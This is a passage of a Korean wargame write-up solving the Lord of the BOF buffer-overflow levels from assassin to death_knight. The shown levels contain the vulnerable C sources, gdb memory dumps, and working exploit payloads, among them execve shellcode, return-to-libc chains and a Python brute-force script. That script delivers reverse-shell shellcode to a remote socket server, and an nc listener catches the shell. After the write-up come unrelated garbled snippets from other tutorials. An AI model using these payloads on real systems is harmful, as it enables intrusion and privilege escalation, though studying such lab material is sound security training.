42 ret 부분에는 \bf \x40으로시작하면안됩니다. 이럴때쓰는기법으로 ret sledding이있습니다. ret sleding이란리턴스택에 ret의코드세그먼트주소를넣는기법으로 esp를핸들링할수있습니다. ret는 pop eip jmp eip입니다. pop은 esp+4 하기때문에 ret부분에 ret주소를넣는다면 esp 가 +4되면서그다음부분을가리키게됩니다. 그뒤는 rtl을해주면조건을우회하고 rtl을쓸수있습니다. (gdb) p system $1 = <text variable, no debug info> 0x40058ae0 < libc_system> 0x804851d <main+173>: 0x804851e <main+174>: 0x804851f <main+175>: nop leave ret /bin/sh : 0x400fbff9 #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/giant/assassin" ret=0x804851e system=0x40058ae0 binsh=0x400fbff9 limit=44 payload="\x90"*limit+p(ret)+p(system)+"junk"+p(binsh) os.execv(target,[target,payload]) 결과 42

43 giant]$ python boom.py -?JUNK bash$ id uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant) bash$ my-pass euid = 515 pushing me away bash$ 43

44 assassin / pushing me away /* */ The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack retbayed you!\n"); if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); // strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf("%s\n", buffer); 44

45 ret까지버퍼제한이되어있습니다. 그리고스택부분과공유라이브러리부분을쓸수도없습니다. 이때는소스맨위의주석을보면 FEBP를확인할수있습니다. FEBP란 leave (mov esp, ebp pop ebp) 를한번더실행하는방법입니다. 즉, ret부분에 leave의주소를넣어서 leave가한번더실행하는것입니다. 0x80484dc <main+156>: add 0x80484df <main+159>: leave 0x80484e0 <main+160>: $0x8,%esp ret (gdb) x/124x $esp 0xbffffa84: 0xbffffa90 0xbffffc1b 0x x xbffffa94: 0x x x x xbffffaa4: 0x x x x xbffffab4: 0x x x x nop*19 + shellcode(25byte) + &buffer + leave gadget buffer 의주소는 -8 을해줘야합니다. -4 만하는줄알았는데 core dump 를해보며확인한결과 +8 이동했습니다. 0xbffffa84 를 sfp로했을때 (gdb) x/124x $esp --core dump 0xbffffa8c: 0xbffffa90 0x x x xbffffa9c: 0x x2f6850c0 0x f 0x6e69622f 0xbffffaac: 0x5350e389 0xd231e189 0x80cd0bb0 0xbffffa84 0xbffffabc: 0x080484df 0x xbffffb04 0xbffffb10 +8 한것을확인할수있습니다. 그리고이번문제에서는쉘코드로풀건대 rtl 로도풀수있습니 다. nop 첫부분을 ret 라생각하고 rtl 하면됩니다. 45

46 쉘코드를이용한방법 (sfp 에 buffer-8 주소넣으면됨 or A*8 을넣은후 sfp 에 buffer 주소넣기 ) [assassin@localhost assassin]$./zombie_assassin `python -c 'print "AAAAAAAA"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\ xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*7+"\x88\xfa\xff\xbf "+"\xdf\x84\x04\x08"'` يز h//shh/bin 1 bash$ id uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin) bash$ my-pass euid = 516 no place to hide rtl 이용한방법. (sfp 에 buffer-4 or aaaa 를먼저앞에넣고 sfp 에 buffer 주소넣으면끝 ) [assassin@localhost assassin]$./zombie_assassi1 `python -c 'print "AAAA"+"\xe0\x8a\x05\x40"+"JUNK"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x90\xfa \xff\xbf"+"\xdf\x84\x04\x08"'` ߄ɀAAAAА bash$ id uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin) bash$ my-pass euid = 516 no place to hide 디버깅을통해 rtl 은 4 의오차를가지고있고 shellcode 를이용한방법은 8 의오차를가지고있는 걸알아봤는데왜그런지고민을해봤지만알지못했습니다. 숙제가늘었군요.. 46

47 zombie_assassin / no place to hide /* */ The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) if(check!= 4) printf("welcome to the MO!\n"); // olleh! system(cmd); void YUT(void) if(check!= 3) printf("welcome to the YUT!\n"); check = 4; void GUL(void) 47

48 if(check!= 2) printf("welcome to the GUL!\n"); check = 3; void GYE(void) if(check!= 1) printf("welcome to the GYE!\n"); check = 2; void DO(void) printf("welcome to the DO!\n"); check = 1; main(int argc, char *argv[]) char buffer[40]; char *addr; if(argc < 2) printf("argv error\n"); // you cannot use library if(strchr(argv[1], '\x40')) printf("you cannot use library\n"); 48

49 // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4)!= 0) printf("you must fall in love with DO\n"); // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer , 0, 0xbfffffff - (int)(buffer )); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, ); 소스의맨밑을보면 LD 환경변수를지웠고스택의공간중쓸수있게만든곳은 ret뿐입니다. 그리고 ret에는 \40 부분을절대쓸수없고애초에무조건 do의주소만덮을수있습니다. ret로바로 mo까지가버려도중간중간 check 변수를증가시킨후마지막에검증하기때문에무조건도, 개, 걸, 윷, 모순으로이동해야합니다. nm 명령어로함수의주소를찾아보겠습니다. [zombie_assassin@localhost zombie_assassin]$ nm succubus ec T DO c T GUL bc T GYE T MO c T YUT 49

50 문제는 /bin/sh의주소를어떻게구하냐입니다. \x40을쓰지못하는상황이니만들어내야하는데대부분의스택공간을사용하지못합니다. 방법은 rtl을하는중에는초기화를하지않으니 도게걸윷모 +AAAA /bin/sh 이런식으로스택에집어넣고코어덤프를통해 /bin/sh 의주소를알아내는겁니다. 알아낸주소를 과바꾸면공격은성공하게됩니다. zombie_assassin]$./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x 5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x90\x90\x90\x90"+"\x2f\x6 2\x69\x6e"+"\x2f\x73\x68\x00"'` Segmentation fault (core dump) (gdb) x/124x $esp --- core dump 화면 0xbffffa94: 0x x6e69622f 0x f 0x xbffffaa4: 0x xbffffac4 0x c 0x c 0xbffffab4: 0x4000ae60 0xbffffabc 0x40013e90 0x xbffffac4: 0xbffffbbf 0xbffffbca 0x xbffffc1a 0xbffffad4: 0xbffffc34 0xbffffc4d 0xbffffc6c 0xbffffc8e 0xbffffae4: 0x x x x \x 다음부분을보면 /bin/sh\x00 부분이있는것을알수있습니다. 이에맞게 0x 을수정하여공격해보겠습니다. zombie_assassin]$./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x 5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"\x2f\x62\ x69\x6e"+"\x2f\x73\x68\x00"'`.¼\$aaaain/sh welcome to the DO! ( 중략 ) welcome to the MO! bash$ id uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin) bash$ my-pass euid = 517 here to stay 50

51 succubus / here to stay /* */ The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h> main(int argc, char *argv[]) char buffer[40]; char *addr; if(argc < 2) printf("argv error\n"); // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4)!= 0) printf("you must fall in love with strcpy()\n"); // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // dangerous waterfall memset(buffer+40+8, 'A', 4); 51

52 ret 에는 strcpy() 함수의주소만쓰여야하고그다음스택은무조건 AAAA 가쓰여집니다. 사실이 문제는 rtl 을두번하는거와같습니다. 첫번째 rtl 을한후인자를지우고새인자를씌우는것 이까다로운데 strcpy() 을이용하여새인자를씌어 rtl 을두번해보겠습니다. (gdb) p system $1 = <text variable, no debug info> 0x40058ae0 < libc_system> [succubus@localhost /tmp]$./binsh /bin/sh : 0x400fbff9 0x <strcpy> 갖춰야할인자를다준비해보았습니다../nightmar1 `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"\x90"*32+"\x10\x84\x04\x0 8"+"AAAA"+"\x90\x90\x90\x90"+"\x91\x91\x91\x91"'` core dump 버퍼시작주소 0xbffffa84: 0x x x x40058ae0 0xbffffa94: 0x x400fbff9 0x x xbffffaa4: 0x x x x xbffffab4: 0x x4000ae60 0x x (chain) 0xbffffac4: 0x x x x xbffffad4: 0x x x x080486b4 여기서보면페이로드의끝에 \x 과 \x 이있습니다. 여기부분은 strcpy인자부분입니다. 정확한주소를몰라임의로넣은것이고코어덤프를통해정확히알아냈습니다. 저 chain 부분에버퍼시작주소의부분을넣으면 chain 부분이버퍼시작의문자열로덮여지면서새로운 ret와인자가생겨납니다. 이로써한번더 rtl공격을할수있고공격은성공하게됩니다. 52

53 succubus]$./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"\x90"*32+"\x10\x84\x04\x0 8"+"AAAA"+"\xc0\xfa\xff\xbf"+"\x90\xfa\xff\xbf"'`?AAAAАAAAAzy bash$ id uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus) bash$ my-pass euid = 518 beg for me 참고로 argv[1] 을이용해서해보면안됩니다. 아마 argv[1] 이후를덮는것이안좋은영향을끼친 거라추측됩니다. 53

54 nightmare / beg for me /* */ The Lord of the BOF : The Fellowship of the BOF - xavius - arg #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> main() char buffer[40]; char *ret_addr; // overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer); if(*(buffer+47) == '\xbf') printf("stack retbayed you!\n"); if(*(buffer+47) == '\x08') printf("binary image retbayed you, too!!\n"); // check if the ret_addr is library function or not memcpy(&ret_addr, buffer+44, 4); while(memcmp(ret_addr, "\x90\x90", 2)!= 0) // end point of function 54

55 if(*ret_addr == '\xc9') // leave if(*(ret_addr+1) == '\xc3') // ret printf("you cannot use library function!\n"); ret_addr++; // stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, ); leave 와 ret 금지즉, 함수형이 ret에오면안됨, LD환경변수 0초기화, 스택쓸수있는공간 ret 부분뿐, 코드세그먼트사용불가정도있는데 \x40을막지않았습니다. \x40은막지않았지만함수형태를막아버렸으니 rtl은할수없습니다. \x40 주소쪽에쉘코드를올려서공격하면되겠는데어떻게하면좋을까요? 방법은 buffer에서내부입력값을 stdin에서임시로저장을합니다. 거기의주소가라이브러리지만함수형태는아니기때문에사용할수있습니다. stdin주소를추적해보겠습니다. 0x804871a <main+6>: mov 0x8049a3c,%eax 0x804871f <main+11>: push %eax 0x <main+12>: push $0x100 0x <main+17>: lea 0xffffffd8(%ebp),%eax 0x <main+20>: push %eax 0x <main+21>: call 0x <fgets> fgets( buffer, 256, stdin ) -40(ebp),0x100,0x8049a3c 인자값의주소를알아냈습니다. 55

56 stdin 을추적하기위해 fgets 다음에브포를걸고 stdin 의값을확인해보겠습니다. (gdb) b *main+26 Breakpoint 1 at 0x804872e (gdb) r Starting program: /home/nightmare/xaviu1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x804872e in main () (gdb) x/x 0x8049a3c 0x8049a3c <stdin@@glibc_2.0>: 0x401068c0 (gdb) x/8x 0x401068c0 0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x x x x401068d0 <_IO_2_1_stdin_+16>: 0x x x x 보면 0x40 주소가많이보입니다. 일단 0xfbad 부터순서대로하나씩분석해보면 (gdb) x/124x 0x x : 0x x x x x : 0x x x x x : 0x x x x x : 0x x x x x : 0x x x x0a x : 0x x x x 임시버퍼를찾았고여기부분에쉘코드를올려서공격해보겠습니다. 56

57 nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat)./xavius id uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare) my-pass euid = 519 throw me away 57

58 xavius / throw me away /* */ The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(af_inet, SOCK_STREAM, 0)) == -1) perror("socket"); exit(1); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); 58

59 1) if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == - perror("bind"); exit(1); if(listen(server_fd, 10) == -1) perror("listen"); exit(1); while(1) sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1) perror("accept"); continue; if (!fork()) send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; close(client_fd); while(waitpid(-1,null,wnohang) > 0); close(server_fd); 자체적으로통신할수있는프로그램입니다. xinetd.d 를통한것이아닌소켓을자체적으로생성 을합니다. 이러한프로그램을오버플로우하려면리버스쉘혹은포트바인딩쉘코드를이용해야 59

60 합니다. recv 를잘보면 buffer 는 40 인데응답을 256byte 를하는부분에서취약점이발생합니다. reverse shellcode 입니다. 들어가보면 ip와 port를수정할수있게예쁘게표시도해놨습니다. 바로공격해보도록해보겠습니다. #!/usr/bin/env python from socket import * from struct import * p = lambda x : pack("<l",x) shellcode=\ "\x68"+\ "\xc0\xa8\xcc\xa3"+\ <<<<<<ip ( 수정가능 ) "\x5e\x66\x68"+\ "\xd9\x03"+\ <<<<<<port ( 수정가능 ) "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\ "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\ "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\ "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\ "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\ "\xeb\xce" HOST=' ' PORT=6666 limit=255 for j in range(0xff,0,-1): for i in range(0,0xff,100): payload="a"*44+chr(i)+chr( j)+"\xff\xbf"+"\x90"*(limit-len(shellcode)- 48)+shellcode s=socket(af_inet,sock_stream) s.connect((host,port)) print s.recv(1024) #print s.recv(10) s.send(payload) s.close() 이상하게이부분을받아주지않아야브루트포스가가능 60

61 코드를실행하기전에포트번호를리슨해놓겠습니다. nc -lvp Listening on [ ] (family 0, port 55555) 보다시피쉘코드수정부분으로맞춰놓은부분을리슨해놓습니다. Death Knight : Not even death can save you from me! Death Knight : Not even death can save you from me! Death Knight : Not even death can save you from me! ( 하략 ). 브루트포스를끝내고나서리슨한포트를확인해보겠습니다. nc -lvp Connection from [ ] port [tcp/*] accepted (family 2, sport 1030) id uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight) my-pass euid = 520 got the life 완료했습니다!! 61

62 death_knight / got the life [death_knight@localhost death_knight]$ ls dropped_item.txt [death_knight@localhost death_knight]$ cat dropped_item.txt You're so great! This is a token to the next gate.,.,' `.,' _<>_ `.,'.-' `-.`.,'_.-'' ``-._`.,',' /\ `.`.,' /.._ O / \ O _.,\ `.,'/ / \ ``-;.--.:-'' / \ \`.,' : : \ /\`.,'/\ / : : `. < <> O >(< ( ) >)< O <> > `. : : / \/,'`.\/ \ ; ;,' `.\ \ /_..-:`--';-.._\ / /,' `. \`' O \ / O `'/,' `.`._ \/ _,',' `..``-..-'',,' `.`-..-',' `. <>,' `.,' `' [death_knight@localhost death_knight]$ 이로써 lob 레드햇을완료했습니다. lob 만큼은개인적으로초보자가무조건거쳐가야하는정석 과같다고생각합니다. 앞으로도반복해서풀며 fc3 fc4 fc10 을향에달려가겠습니다. 62

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그 The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin (soh357@gmail.com) -Contents- 0x00 프롤로그 -------------------------------------------------------------------------- 2 0x01 gate -----------------------------------------------------------------------------

More information

Smashing the Lord Of the Bof

Smashing the Lord Of the Bof Smashing the Lord Of the Bof cd80@leaveret 목차 0. LOB 소개 1. Gate -> gremlin 2. Gremlin -> cobolt 3. Cobolt -> goblin 4. Goblin -> orc 5. Orc -> wolfman 6. Wolfman-> darkelf 7. Darkelf -> orge 8. Orge ->

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 소켓 2 1 소켓 클라이언트 - 서버모델 네트워크응용프로그램 클리이언트 - 서버모델을기반으로동작한다. 클라이언트 - 서버모델 하나의서버프로세스와여러개의클라이언트로구성된다. 서버는어떤자원을관리하고클라이언트를위해자원관련서비스를제공한다. 3 소켓의종류 소켓 네트워크에대한사용자수준의인터페이스를제공 소켓은양방향통신방법으로클라이언트 - 서버모델을기반으로프로세스사이의통신에매우적합하다.

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

